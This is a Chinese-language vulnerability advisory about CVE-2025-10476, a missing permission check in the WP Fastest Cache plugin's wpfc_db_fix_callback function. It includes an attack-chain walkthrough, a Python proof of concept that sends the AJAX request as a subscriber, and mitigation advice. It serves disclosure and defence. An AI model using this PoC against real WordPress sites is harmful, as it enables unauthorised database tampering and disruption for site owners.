IPBUF安全漏洞报告
English
CVE-2025-10476 CVSS 4.3 中危

CVE-2025-10476: WP Fastest Cache插件wpfc_db_fix_callback函数权限绕过漏洞

披露日期: 2025-11-27

漏洞信息

漏洞编号
CVE-2025-10476
漏洞类型
权限绕过/访问控制缺失
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WP Fastest Cache WordPress插件

相关标签

权限绕过访问控制缺失WordPress插件WP Fastest CacheCVE-2025-10476数据库操作中危漏洞AJAX漏洞

漏洞概述

WP Fastest Cache是WordPress平台上广受欢迎的缓存优化插件,帮助网站管理员提升页面加载速度和整体性能。然而,该插件在1.4.0及之前版本中存在严重的安全漏洞,wpfc_db_fix_callback()函数缺少必要的权限验证机制。该漏洞允许任何已认证用户(包括最低权限的Subscriber订阅者)执行数据库修复操作,而无需管理员权限。值得注意的是,此漏洞仅影响已激活Premium高级功能的网站。攻击者可利用此漏洞对网站数据库进行未经授权的修改操作,可能导致数据完整性受损或网站功能异常。由于攻击门槛较低(仅需订阅者账号),且利用无需用户交互,该漏洞对使用该插件的WordPress网站构成中等程度的安全威胁。

技术细节

漏洞根源在于wpfc_db_fix_callback()函数缺少WordPress的current_user_can()权限检查。在正常的安全实践中,任何涉及数据修改的AJAX回调函数都应验证当前用户是否具有相应权限。然而,该函数直接处理数据库修复请求,未做任何权限验证。攻击者只需构造带有正确参数的AJAX请求(如wpfc_db_fix_callback),WordPress系统会因用户已登录而允许请求通过,最终触发数据库修复操作。由于该功能仅在Premium版本激活时可用,攻击者首先需要检测目标站点是否运行Premium版本。漏洞利用无需任何特殊工具或复杂技术,普通订阅者账号即可发起攻击,成功后可能导致数据库状态异常或缓存数据损坏。

攻击链分析

STEP 1
步骤1
攻击者获取目标WordPress网站的订阅者级别账号,或注册新账号
STEP 2
步骤2
攻击者使用低权限账号登录WordPress后台
STEP 3
步骤3
攻击者向admin-ajax.php发送包含wpfc_db_fix_callback操作的AJAX请求
STEP 4
步骤4
由于函数缺少current_user_can()检查,请求被服务器接受并执行
STEP 5
步骤5
数据库修复操作被触发,可能导致数据损坏或缓存异常
STEP 6
步骤6
攻击者可通过重复请求放大影响,造成网站功能故障

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-10476 PoC - WP Fastest Cache Privilege Escalation # Target: WordPress site with WP Fastest Cache Premium < 1.4.1 target_url = "https://target-site.com/wp-admin/admin-ajax.php" # Authenticated session with subscriber-level account session = requests.Session() # Login as subscriber (low-privilege user) login_data = { "log": "subscriber_username", "pwd": "subscriber_password", "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } # Set cookies after login session.post("https://target-site.com/wp-login.php", data=login_data) # Exploit: Call wpfc_db_fix_callback without privilege check # This triggers database fix operations with subscriber privileges payload = { "action": "wpfc_db_fix_callback", "wpfc_db_fix_type": "optimize" # or other fix types } response = session.post(target_url, data=payload) print(f"Status: {response.status_code}") print(f"Response: {response.text}")

影响范围

WP Fastest Cache Premium < 1.4.1
WP Fastest Cache Free (受影响功能仅在Premium激活时可用)

防御指南

临时缓解措施
如果无法立即升级,可临时禁用WP Fastest Cache的Premium功能,并审查所有订阅者账号的合法性。同时限制AJAX端点的访问频率,对异常请求进行日志记录和告警。建议在可行的情况下暂时切换到其他缓存插件,待官方修复发布后再恢复使用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表